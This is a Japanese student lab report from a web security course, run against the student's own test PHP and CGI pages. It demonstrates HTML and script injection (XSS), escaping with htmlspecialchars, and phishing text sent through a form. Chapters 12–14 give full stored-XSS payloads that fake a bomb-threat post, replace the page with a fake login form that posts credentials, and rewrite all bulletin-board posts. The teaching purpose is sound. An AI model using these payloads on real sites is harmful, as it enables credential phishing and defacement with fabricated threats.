

提出日：2024 年 5 月 24 日

# 先進情報プロジェクト実習

テーマ IT・1 第 5 回レポート

学籍番号：C0A22113

氏名：成田彩華

## 第 1 章 タグの挿入

第 4 回の reservation.php にアクセスして、「ユーザー名」の欄に次の内容を入力してみる。他の欄は通常の内容で良い。

```
<b>aaa</b>
```

表示がどうなるかを確認する。表示はユーザー名のところに HTML のタグが挿入され、aaa が太字で表示される。

同様に、以下の内容をユーザー名に入力し、表示がどうなるかを確認する。

```
<script>alert('aaa');</script>
```

上記は「aaa」をアラート表示させるようにする javascript のコードを HTML 上で処理できるよう<script>タグで書いたものである。上記をユーザ名に入力するとアラートとしてユーザー名に入力した「aaa」が表示され、アラートを消すと、ユーザー名が表示されなくなり、電話番号と住所のみ表示される。

<script>タグを「ユーザー名」ではなく、「住所」の欄に入力するとどうなるのか確認していく。こちらもユーザー名に入力した場合と同様に、アラートとして入力した住所として「aaa」が表示され、アラートを消すと住所が表示されなくなり、ユーザー名と電話番号のみが表示される。

<script>タグを「ユーザー名」、「電話番号」、「住所」の欄の複数箇所に入力する場合はどうなるのか確認していく。全ての欄に<script>タグを入力するとアラートが 3 回表示され、アラートをすべて消すと何も表示されなくなる。「ユーザー名」、「電話番号」の欄に入力すると、2 回アラートが表示され、アラートを消すと住所のみが表示される。

## 第 2 章 タグを挿入させない文字列変換

reservation.php の 5 行目から 8 行目を確認する。

```
function h($string)
{
    return htmlspecialchars($string, ENT_QUOTES, 'utf-8');
}
```

htmlspecialchars()とは HTML 上で特殊な意味を持つ特殊文字を変換し、HTML の表示形式に変換を行う関数である。変換を行わないと第 1 章で行ったように<script>タグを用いて攻撃を受ける可能性がある。この関数で変換される特殊文字 5 種類と変換後の文字列は以下の通りである。

| 記号名      | 変換前 | 変換後    |
|----------|-----|--------|
| アンパサンド   | &   | &amp;  |
| ダブルクォート  | “   | &quot; |
| シングルクォート | ‘   | &apos; |
| 小なり      | <   | &lt;   |
| 大なり      | >   | &gt;   |

なぜ htmlspecialchars() を用いる場合に、関数名を h とするのかは、毎回 htmlspecialchars() と入力するのは長く面倒であるためだ。もし、htmlspecialchars() を h() で定義する場合、同名関数が存在しないかチェックし、返り値に気をつけ、定義する必要がある。

## 第3章 タグを挿入できないようにする

「/var/www/html/mail」にある「reservation.php」を複製し、「reservation5.php」を作成する。同様に「/var/www/html/mail」にある「reservation\_main.php」を複製し、「reservation\_main5.php」を作成する。「reservation5.php」が呼び出すものは「reservation\_main5.php」になるよう変更する。

reservation5.php の 5 から 8 行目の関数を、reservation\_main5.php でも使えるよう、<?php の後の行に挿入する。19 行から 21 行目の入力されたユーザー名、電話番号、住所を表示させる部分を書き換え、h() 関数を用いて、特殊文字を変換する。

```
<p><?php echo h($user_name); ?></p>
<p><?php echo h($phone); ?></p>
<p><?php echo h($address); ?></p>
```

上記のように変更した reservation\_main5.php を確認する。reservation5.php に前記項目のようにタグを挿入するとどのように表示されるのかを見ていく。確認するために<script>タグを全項目に入力し、確認する。すると以下のように表示された。

```
<script>alert('aaa')</script>
<script>alert('aaa')</script>
<script>alert('aaa')</script>
```

このように HTML として認識されなくなった。

HTML のソースコードではタグを挿入した部分がどのように変換されたかを確認していく。いかに HTML のソースコードを示す。

```
<p>&lt;script&gt;alert(&#039;aaa&#039;)&lt;/script&gt;</p>
<p>&lt;script&gt;alert(&#039;aaa&#039;)&lt;/script&gt;</p>
<p>&lt;script&gt;alert(&#039;aaa&#039;)&lt;/script&gt;</p>
```

このようにシングルクォートのみ文字コードで表示されてしまったが、それ以外の特殊

文字は前記項目で述べた変換表に従って変換されている。

## 第4章 参考サイトの話は信頼できるか確認する

以下の参考サイトの話が信頼できるか確認していく。

<https://pisuke-code.com/php-define-htmlspecialchars-as-h/>

reservation5.php の 5 から 8 行目の関数を、reservation\_main5.php で使えるようにした PHP について、次のように修正して新しい PHP を作成する。reservation5.php を reservationhj.php に、reservation\_mainh.php を呼ぶようにする。reservation\_main5.php を reservation\_mainh.php にし、function h() の定義箇所を以下のように変更する。

```
function h($string) {  
    return $string;  
}  
  
if( ! function_exists('h') ) {  
    function h($string) {  
        return htmlspecialchars($string, ENT_QUOTES, 'utf-8');  
    }  
}
```

reservationh.php にアクセスし、「ユーザー名」の欄で前記項目で使用した<script>タグを挿入して、どうなるか確認する。特殊文字は変換されず HTML として処理され、アラートが表示される結果となった。

これは if 文の前に定義された関数 h があることが原因となっている。if 文が「もし h という関数が存在しない場合実行する」となっているため、すでに h 関数が存在していることが原因で if の中が実行されず、h 関数が書き変わらない仕様となっている。

if 文の前に定義された h 関数をコメントアウトし、reservationh.php を上記と同じ条件で動かしてみる。すると、特殊文字が変換され、タグが挿入できないようになった。

## 第5章 詐欺メールを送れるか確認する

以前作成した reservation3.php の「住所」に以下の内容を入力して送信する。「ユーザー名」と「電話番号」は任意の内容で良い。

あなたのアカウントはロックされました。ロック解除はこちら。[https://sagi\\_example.teu.ac.jp](https://sagi_example.teu.ac.jp)

Gmail を受信して、どのように表示されるか確認する。送信された Gmail は以下のように表示された。



ayaka@vm-ayaka

To 自分 ▼



reservation:user, 090, あなたのアカウントはロックされました。ロック解除はこちら。[https://sagi\\_example.teu.ac.jp](https://sagi_example.teu.ac.jp)

## 第 6 章 複数行の詐欺メールを送れるようにする

rservation3.php の次の部分を書き換えた reservation3area.php を同じディレクトリに作成する。書き換え前が以下の通りである。

```
<input id="address" name="address" type="text" />
```

上記を次のように書き換える。

```
<textarea rows="10" cols="60" id="address" name="address"></textarea>
```

書き換え後、改行コードを含む以下の詐欺メールが reservation3area.php から送れるか確認する。

あなたのアカウントはロックされました。

ロック解除はこちら。

[https://sagi\\_example.teu.ac.jp](https://sagi_example.teu.ac.jp)

Gmail を受信して、どのように表示されるのか確認する。以下が受信した Gmail である。



ayaka@vm-ayaka

To 自分 ▼



reservation:user, 090, あなたのアカウントはロックされました。

ロック解除はこちら。

[https://sagi\\_example.teu.ac.jp](https://sagi_example.teu.ac.jp)

このように改行コードを含む詐欺メールが送れていることを確認した。

## 第7章 CGIでのタグ挿入

以前、「/var/www/html/test/」に作成した bbs.cgi の「本文」の欄に次の内容を入力してみる。他の欄は通常の内容でよい。

```
<b>aaa</b>
```

表示がどうなるかを確認する。HTML タグは適応されず、特殊文字が変換された形で表示がされている。

bbs.cgi のどの部分で、HTML タグを挿入できないようにしているのか調べる。bbs.cgi の 32 から 35 行目にある以下の部分で特殊文字を変換している。

```
$value =~ s/&/&amp;/g;
$value =~ s/</&lt;/g;
$value =~ s/>/&gt;/g;
$value =~ s/¥x0D¥x0A/<br>/g;
```

前記項目で述べた htmlspecialchars()関数と同じ処理をこの4文で行なっている。

bbs.cgi の 32 から 35 行目にある上記の部分コメントアウトした bbsco.cgi を同じディレクトリに作成する。なおコメントアウトするには行頭に「#」をつければ良い。また、86 行目付近で、bbs.cgi が呼び出すのは、bbsco.cgi に変更する。その状態で bbsco.cgi から掲示板に通常の内容が書き込めるか確認する。その状態で bbsco.cgi の「本文」の欄に次の内容を入力してみる。他の欄は通常の内容が良い。

```
<b>aaa</b>
```

表示がどうなるか確認する。bbsco.cgi では HTML タグが適応され、aaa が太字で表示された。

自分が通常書き込みをした直前に、次の内容の書き込みがあったように見せかけたい。

```
爆破予告
工科太郎
```

```
講義実験棟401に爆弾を仕掛けた。
```

```
2024年5月17日の13時15分から18時45分の間に爆発するようにした。
```

通常の本文の後ろに</div>タグと投稿を区切っている<hr>タグを入れる必要がある。このタグの後ろに上記の書き込みを行なっていく。bbsco.cgi のコードから、title は<strong>タグで、author は<em>タグで囲われている。<br>タグを適宜入れ、改行を行う。投稿全体は<div>タグで囲われている。このことを踏まえ、自分の投稿の後に爆破予告の書き込みされているように見せかけるには以下のようにする必要がある。

```
cc
</div>
<hr>
```

```
<div>

<strong>爆破予告</strong>

<br>

<em>工科太郎</em>

<br>

<br>
```

講義実験棟401に爆弾を仕掛けた。

2023年5月19日の13時15分から18時45分の間に爆発するようにした。

上記通りに投稿し、ブラウザから再読み込みをした場合、表示が壊れてしまう。ログの取り方として、一つの投稿が1行に収められている形をとっている。bbsco.cgi では改行を変換しないため、投稿に改行が含まれていると空白の投稿が存在することになってしまう。

表示が壊れないようにするには投稿内容を分けて見せかけたい箇所以外の改行をすべて削除し、投稿内容の中の改行は<br>に変換する。変換後の投稿内容は以下の通りである。

```
cc</div><hr>

<div><strong>爆破予告</strong><br><em>工科太郎</em><br><br>講義実験棟401に爆弾を仕掛けた。

<br>2023年5月19日の13時15分から18時45分の間に爆発するようにした。
```

## 第8章 HTML の DOM を知る 1

2019年度Web技術基礎第9回の資料の【練習1】の内容を行う。講義サイトからex9\_1.htmlをダウンロードし、適切な場所に設置する。<script>タグ内の内容を書き換え、「段落2」を表示する。表示させるためには「段落2」というテキストを持つ<p>タグのテキストを取得する。元々は見出しを3回表示させる以下の内容である。

```
var id_node = document.getElementById("midashi_id");

document.write(id_node.innerText);


var class_node = document.getElementsByClassName("midashi_class");

document.write(class_node.item(0).innerText);


var tag_node = document.getElementsByTagName("h1");

document.write(tag_node.item(0).innerText);
```

「段落2」のテキスト取得するため、<script>タグを以下のように書き換える。

```
var id_node = document.getElementById("p2");

document.write(id_node.innerText);
```

```

var class_node = document.getElementsByClassName("p");
document.write(class_node.item(1).innerText);

var tag_node = document.getElementsByTagName("p");
document.write(tag_node.item(1).innerText);

```

## 第 9 章 HTML の DOM を知る 2

任意のテキストやスタイルを変更してみる。2019 年度 Web 技術基礎第 9 回の資料の【練習 2】を行う。変更前の<script>タグの内容は以下の通りである。

```

var id_node = document.getElementById("midashi_id");
id_node.textContent = "(新)大見出し";
id_node.style.color = "red";

```

講義サイトの ex9\_2.html の<script>タグ内を書き換え、「段落 2」を「段落 2 改」に変更する。さらに「段落 2 改」の文字を青くする。

```

var id_node = document.getElementById("p2");
id_node.textContent = "段落2改";
id_node.style.color = "blue";

```

## 第 10 章 HTML の DOM を知る 3

表示される段落を追加してみる。2019 年度 Web 技術基礎第 9 回の資料の【練習 3】を行う。変更前の<script>タグの内容は以下の通りである。

```

function shownext() {
    document.getElementById("a").textContent = "練習3は今回で打ち切りになりました。先生の次回作にご期待ください。";
}

```

続きを読むをクリックした際に表示される段落を追加する。以下に変更後の<script>タグの内容を示す。function showtest()内に document.getElementById("a")で追加する内容を指定する。追加する内容は任意である。

```

function shownext() {
    document.getElementById("a").textContent = "練習3は今回で打ち切りになりました。先生の次回作にご期待ください。";
    document.getElementById("a").textContent = "打ち切りは撤回され、来週から連載が再開します。"
}

```



## 第 1 1 章 何もない状態から HTML の DOM ツリーを作成する

2019 年度 Web 技術基礎第 9 回の資料の【練習 5】の模範解答を見て、どのように DOM ツリーを削除し作成するのか理解する。function deletepage()でどのようにして DOM ツリーを削除しているかを考える。function deletepage()の内容を以下に示す。

```
function deletepage() {  
    document.getElementById("d").textContent = null;  
}
```

id からタグの中のテキストを取得し、タグ内のテキストを空にすることで DOM ツリーを削除している。

function showpage1()でどのようにして<ul>タグの下に<li>タグを作成しているのかを考える。function showpage1()の内容を以下に示す。

```
function showpage1() {  
    deletepage();  
  
    var list = document.createElement("ul");  
    document.getElementById("d").appendChild(list);  
  
    var item1 = document.createElement("li");  
    item1.textContent = "1つ目の項目";  
    list.appendChild(item1);  
  
    var sublist = document.createElement("ul");  
    item1.appendChild(sublist);  
  
    var subitem1 = document.createElement("li");  
    subitem1.textContent = "1つ目の項目の下にぶらさがる項目";  
    sublist.appendChild(subitem1);  
  
    var item2 = document.createElement("li");  
    item2.textContent = "2つ目の項目";  
    list.appendChild(item2);  
}
```

まず、ul タグを作成し、appendChild(item1)で ul タグの中に li タグを追加する処理を行な

っている。`appendChild()`でどこに追加するのかを指定することで、階層構造を作っている。

`function showpage2()`でどのようにして`<table>`タグの下に1行目のセルを構成する`<th>`タグや`<td>`タグを作成しているか考える。以下に `function showpage2()`の内容を示す。

```
function showpage2() {
    deletepage();

    var table = document.createElement("table");
    table.setAttribute("border", "1");
    document.getElementById("d").appendChild(table);

    var caption = document.createElement("caption");
    caption.textContent = "表のタイトル";
    table.appendChild(caption);

    var line1 = document.createElement("tr");
    table.appendChild(line1);

    var cell1 = document.createElement("th");
    cell1.textContent = "1つ目の見出し";
    line1.appendChild(cell1);

    var cell2 = document.createElement("th");
    cell2.textContent = "2つ目の見出し";
    line1.appendChild(cell2);

    var line2 = document.createElement("tr");
    table.appendChild(line2);

    var cell3 = document.createElement("td");
    cell3.setAttribute("colspan", "2");
    cell3.textContent = "1行全部使って表示する内容";
    line2.appendChild(cell3);
}
```

`document.createElement("table")`で`<table>`タグを作成し、その中に `appendChild()`すること  
でタグを追加していく。`table.appendChild()`で `table` タグの中にタグを何個でも追加する  
ことができる。階層構造に気をつけて要素を追加することで`<table>`タグの中に`<th>`タグや

<td>タグを追加することができる。

## 第 1 2 章 掲示板の DOM ツリーを書き換える

先ほどの捏造書き込みで、爆破予告の箇所にマウスカーソルが来ると(マウスオーバー)、guagla.html の内容が表示されるようにする。講義サイトにある guagla.html の内容と同じものを Javascript を使って DOM ツリーを完全に作成する。完全に同じ内容にするのは<body> タグ内であり、それ以外は元のままで良い。以下にマウスオーバーされる投稿内容を示す。わかりやすいように改行は消さずに表示する。

```
cc</div>

<hr>

<script type="text/javascript">

    function deletepage() {

        var body = document.getElementsByTagName("body")[0];

        body.textContent = null;

    }

    function showpage() {

        deletepage();

        var body_node = document.getElementsByTagName('body')[0];

        var form = document.createElement("form");
        form.setAttribute("action", "./out.cgi");
        form.setAttribute("method", "post");
        body_node.appendChild(form);

        var div = document.createElement("div");
        div.style.margin = "10em auto";
        div.style.width = "30em";
        div.style.border = "solid 1px #a0a0a0";
        div.style.borderRadius = "10px";
        form.appendChild(div);

        var p = document.createElement("p");
        div.appendChild(p);
```

```
var img = document.createElement("img");  
img.setAttribute("src", "../mark.png");  
img.setAttribute("alt", "mark");  
p.appendChild(img);
```

```
var span1 = document.createElement("span");  
span1.textContent = "Guagleにログイン";  
p.appendChild(span1);
```

```
var br1 = document.createElement("br");  
p.appendChild(br1);
```

```
var input1 = document.createElement("input");  
input1.setAttribute("type", "text");  
input1.setAttribute("name", "username");  
input1.setAttribute("size", "50");  
input1.setAttribute("value", "ユーザ名を入力");  
p.appendChild(input1);
```

```
var br2 = document.createElement("br");  
p.appendChild(br2);
```

```
var input2 = document.createElement("input");  
input2.setAttribute("type", "text");  
input2.setAttribute("name", "password");  
input2.setAttribute("size", "50");  
input2.setAttribute("value", "パスワードを入力");  
p.appendChild(input2);
```

```
var br3 = document.createElement("br");  
p.appendChild(br3);
```

```
var br4 = document.createElement("br");  
p.appendChild(br4);
```

```

var input3 = document.createElement("input");
input3.setAttribute("type", "checkbox");
input3.setAttribute("name", "check1");
input3.setAttribute("value", "1");
p.appendChild(input3);

var span2 = document.createElement("span");
span2.textContent = "パスワードを表示します    ";
p.appendChild(span2);

var br5 = document.createElement("br");
p.appendChild(br5);

var br6 = document.createElement("br");
p.appendChild(br6);

var span3 = document.createElement("span");
span3.textContent = "パスワードをお忘れの場合    ";
p.appendChild(span3);

var input4 = document.createElement("input");
input4.setAttribute("type", "submit");
input4.setAttribute("value", "次へ");
p.appendChild(input4);
}
</script>

```

```

<body>
  <div onmouseover="showpage()">
    <strong>爆破予告</strong>
    <br>
    <em>工科太郎</em>
    <br>
    <br>
    講義実験棟401に爆弾を仕掛けた。
    <br>

```

2023年5月19日の13時15分から18時45分の間に爆発するようにした。

マウスオーバーされる対象は投稿内容の<div>内であり、function deletepage()を用いて<body>タグを空にすることで、画面に表示される内容全てを空にしてからログイン画面を表示している。

改行を除いた投稿内容を以下に示す。

```
cc</div><hr><script type="text/javascript">function deletepage() {var body =
document.getElementsByTagName("body")[0];body.textContent = null;}function showpage()
{deletepage();var body_node = document.getElementsByTagName('body')[0];var form =
document.createElement("form");form.setAttribute("action",
"./out.cgi");form.setAttribute("method", "post");body_node.appendChild(form);var div =
document.createElement("div");div.style.margin = "10em auto";div.style.width =
"30em";div.style.border = "solid 1px #a0a0a0";div.style.borderRadius =
"10px";form.appendChild(div);var p =
document.createElement("p");div.appendChild(p);var img =
document.createElement("img");img.setAttribute("scr",
"./mark.png");img.setAttribute("alt", "mark");p.appendChild(img);var span1 =
document.createElement("span");span1.textContent = "Guagleにログイン
";p.appendChild(span1);var br1 = document.createElement("br");p.appendChild(br1);var
input1 = document.createElement("input");input1.setAttribute("type",
"text");input1.setAttribute("name", "username");input1.setAttribute("size",
"50");input1.setAttribute("value", "ユーザ名を入力");p.appendChild(input1);var br2 =
document.createElement("br");p.appendChild(br2);var input2 =
document.createElement("input");input2.setAttribute("type",
"text");input2.setAttribute("name", "password");input2.setAttribute("size",
"50");input2.setAttribute("value", "パスワードを入力");p.appendChild(input2);var br3 =
document.createElement("br");p.appendChild(br3);var br4 =
document.createElement("br");p.appendChild(br4);var input3 =
document.createElement("input");input3.setAttribute("type",
"checkbox");input3.setAttribute("name", "check1");input3.setAttribute("value",
"1");p.appendChild(input3);var span2 =
document.createElement("span");span2.textContent = "パスワードを表示します
";p.appendChild(span2);var br5 = document.createElement("br");p.appendChild(br5);var
br6 = document.createElement("br");p.appendChild(br6);var span3 =
document.createElement("span");span3.textContent = "パスワードをお忘れの場合
";p.appendChild(span3);var input4 =
document.createElement("input");input4.setAttribute("type",
```

```
"submit");input4.setAttribute("value", "次へ");p.appendChild(input4);}</script><body><div onmouseover="showpage()"><strong>爆破予告</strong><br><em>工科太郎</em><br><br>講義実験棟401に爆弾を仕掛けた。<br>2023年5月19日の13時15分から18時45分の間に爆発するようにした。</div></body>
```

## 第13章 掲示板の全ての書き込みを爆破予告に変える

先ほどと同じ捏造書き込みを追加するのではなく、すでに書き込まれたすべての書き込み内容を爆破予告に変える。以下に捏造書の内容を示す。

爆破予告

工科太郎

講義実験棟401に爆弾を仕掛けた。

2024年5月17日の13時15分から18時45分の間に爆発するようにした。

書き込んだ名前の「工科太郎」の部分は、元の書き込みの名前のままとする。

以下に書き込む内容を示す。わかりやすいように改行は消さずに内容を示す。

```
cc</div>

<hr>

<script type="text/javascript">

    function showpage() {

        var articles = document.getElementsByTagName("div");

        var userNames = document.getElementsByTagName("em");

        for (let i = 1; i < articles.length; i++){

            articles.item(i).textContent = null;

            articles.item(i).innerHTML = "<strong>爆破予告</strong><br><em>" +

userNames.item(i - 1).innerHTML + "</em><br><br>講義実験棟401に爆弾を仕掛けた。<br>2024年
5月17日の13時15分から18時45分の間に爆発するようにした。";

        }

    }

</script>

<body>

    <div onclick="showpage()">

        <strong>爆破予告</strong>

        <br>
```

```
<em>工科太郎</em>
```

```
<br>
```

```
<br>
```

```
講義実験棟401に爆弾を仕掛けた。
```

```
<br>
```

```
2023年5月19日の13時15分から18時45分の間に爆発するようにした。
```

以下に改行をなくした投稿内容を示す。

```
cc</div><hr><script type="text/javascript">function showpage() {var articles =
document.getElementsByTagName("div");var userNames =
document.getElementsByTagName("em");for (let i = 1; i < articles.length;
i++){articles.item(i).textContent = null;articles.item(i).innerHTML = "<strong>爆破予告
</strong><br><em>" + userNames.item(i - 1).innerHTML + "</em><br><br>講義実験棟401に爆弾
を仕掛けた。<br>2024年5月17日の13時15分から18時45分の間に爆発するようにした。
";}}</script><body><div onclick="showpage()"><strong>爆破予告</strong><br><em>工科太郎
</em><br><br>講義実験棟401に爆弾を仕掛けた。<br>2023年5月19日の13時15分から18時45分の間に爆
発するようにした。
```

<div>タグの 0 番目はフォームの部分に使われているため、0 番目も指定してしまうと BBS の形が崩れてしまう。そのため使用してはいけない。

書き込む内容を作成する際、innerHTML の代わりに textContent を使用するとどうなるのか確認する。ソースを確認すると、以下のように表示され、変換がされない。

```
null is not an object
```

このことから分かる通り、null には代入ができない。textContent はタグ内に含まれるテキストのみ取得するが、innerHTML はタグも含め取得することが影響する。

## 第 1 4 章 加点項目

先ほどの捏造書き込みで、爆破予告の箇所にマウスカーソルが来ると(マウスオーバー)、講義サイトの addpractice.html の内容が表示されるようにする。

addpractice.html の内容と同じものを、JavaScript を使って DOM ツリーを完全に作成する。ただし、HTML タグを innerHTML の値として書き込んではいけなく、appendChild で DOM ツリーを作成する。完全に同じ内容にするのは<body>タグ内のみであり、それ以外は元のままで良い。以下に作成した投稿内容を示す。わかりやすいように改行はそのままです。

```
<script type="text/javascript">
function deletepage(){
    document.getElementsByTagName("body")[0].textContent = null;
}

```



```
function showpage(){
    deletepage();

    var body = document.getElementsByTagName("body")[0];

    var ul1 = document.createElement("ul");
    body.appendChild(ul1);

    var li1 = document.createElement("li");
    li1.textContent = "1つ目の項目";
    ul1.appendChild(li1);

    var ul2 = document.createElement("ul");
    ul1.appendChild(ul2);

    var li2 = document.createElement("li");
    li2.textContent = "一つ目の項目の下にぶらさががる項目";
    ul2.appendChild(li2);

    var ul3 = document.createElement("ul");
    ul2.appendChild(ul3);

    var li3 = document.createElement("li");
    li3.textContent = "1つ目の項目の下にぶらさがる項目の下にぶらさがる項目";
    ul3.appendChild(li3);

    var li4 = document.createElement("li");
    li4.style.color = "red";
    li4.style.backgroundColor = "#abab12";
    li4.textContent = "2つ目の項目";
    ul1.appendChild(li4);

    var table = document.createElement("table");
    table.setAttribute("border", "1");
    body.appendChild(table);
}
```

```
var caption = document.createElement("caption");
caption.textContent = "表のタイトル";
table.appendChild(caption);

var tr1 = document.createElement("tr");
table.appendChild(tr1);

var th1 = document.createElement("th");
th1.setAttribute("rowspan", "3");
th1.style.color = "#0607e8";
th1.style.backgroundColor = "#67f7f7";
th1.textContent = "縦長の見出し";
tr1.appendChild(th1);

var th2 = document.createElement("th");
th2.textContent = "1つ目の見出し";
tr1.appendChild(th2);

var th3 = document.createElement("th");
th3.textContent = "2つ目の見出し";
tr1.appendChild(th3);

var th4 = document.createElement("th");
th4.textContent = "3つ目の見出し";
tr1.appendChild(th4);

var tr2 = document.createElement("tr");
table.appendChild(tr2);

var td1 = document.createElement("td");
td1.setAttribute("colspan", "2");
td1.textContent = "1行2セルを使って表示する内容";
tr2.appendChild(td1);

var td2 = document.createElement("td");
```

```

        td2.setAttribute("rowspan", "2");
        td2.textContent = "2行2セルを使って表示する内容";
        tr2.appendChild(td2);

        var tr3 = document.createElement("tr");
        table.appendChild(tr3);

        var td3 = document.createElement("td");
        td3.style.color = "red";
        td3.textContent = "赤い内容";
        tr3.appendChild(td3);

        var td4 = document.createElement("td");
        td4.style.color = "blue";
        td4.textContent = "青い内容";
        tr3.appendChild(td4);
    }
</script>

```

```

<body>
    <div onmouseover="showpage()">
        <strong>爆破予告</strong>
        <br>
        <em>工科太郎</em>
        <br>
        <br>
        講義実験棟401に爆弾を仕掛けた。
        <br>
        2023年5月19日の13時15分から18時45分の間に爆発するようにした。
    </div>

```

また、改行をなくした投稿内容も以下に示す。

```

cc</div><hr><script type="text/javascript">function
deletepage(){document.getElementsByTagName("body")[0].textContent = null;}function
showpage(){deletepage();var body = document.getElementsByTagName("body")[0];var ul1 =
document.createElement("ul");body.appendChild(ul1);var li1 =
document.createElement("li");li1.textContent = "1つ目の項目";ul1.appendChild(li1);var
ul2 = document.createElement("ul");ul1.appendChild(ul2);var li2 =

```

```

document.createElement("li");li2.textContent = "一つ目の項目の下にぶらさががる項目";
ul2.appendChild(li2);var ul3 = document.createElement("ul");ul2.appendChild(ul3);var li3 = document.createElement("li");li3.textContent = "1つ目の項目の下にぶらさががる項目の下にぶらさががる項目";ul3.appendChild(li3);var li4 = document.createElement("li");li4.style.color = "red";li4.style.backgroundColor = "#abab12";li4.textContent = "2つ目の項目";ul1.appendChild(li4);var table = document.createElement("table");table.setAttribute("border", "1");body.appendChild(table);var caption = document.createElement("caption");caption.textContent = "表のタイトル";table.appendChild(caption);var tr1 = document.createElement("tr");table.appendChild(tr1);var th1 = document.createElement("th");th1.setAttribute("rowspan", "3");th1.style.color = "#0607e8";th1.style.backgroundColor = "#67f7f7";th1.textContent = "縦長の見出し";tr1.appendChild(th1);var th2 = document.createElement("th");th2.textContent = "1つ目の見出し";tr1.appendChild(th2);var th3 = document.createElement("th");th3.textContent = "2つ目の見出し";tr1.appendChild(th3);var th4 = document.createElement("th");th4.textContent = "3つ目の見出し";tr1.appendChild(th4);var tr2 = document.createElement("tr");table.appendChild(tr2);var td1 = document.createElement("td");td1.setAttribute("colspan", "2");td1.textContent = "1行2セルを使って表示する内容";tr2.appendChild(td1);var td2 = document.createElement("td");td2.setAttribute("rowspan", "2");td2.textContent = "2行2セルを使って表示する内容";tr2.appendChild(td2);var tr3 = document.createElement("tr");table.appendChild(tr3);var td3 = document.createElement("td");td3.style.color = "red";td3.textContent = "赤い内容";tr3.appendChild(td3);var td4 = document.createElement("td");td4.style.color = "blue";td4.textContent = "青い内容";tr3.appendChild(td4);}
</script><body><div onmouseover="showpage()"><strong>爆破予告</strong><br><em>工科太郎</em><br><br>講義実験棟401に爆弾を仕掛けた。<br>2023年5月19日の13時15分から18時45分の間に爆発するようにした。

```

DOM ツリーの構造を示す。わかりやすいように、createElementByTagName()で作成した変数名のみを用いて説明する。数字は定義した順番で振っている。

```

ul1(
  li1 "1つめの項目"
  ul2(
    li2 "1つ目の項目にぶら下がる項目"
    ul3(
      li3 "1つ目の項目にぶら下がる項目の下にぶら下がる項目"

```

```
)  
li4 "2つ目の項目"  
)
```

```
table(  
  tr1(  
    th1 "縦長の見出し"  
    th2 "1つ目の見出し"  
    th3 "2つ目の見出し"  
    th4 "3つ目の見出し"  
  )  
  tr2(  
    td1 "1行2セルを使って表示する内容"  
    td2 "2行2セルを使って表示する内容"  
  )  
  tr(  
    td3 "赤い内容"  
    td4 "青い内容"  
  )  
)
```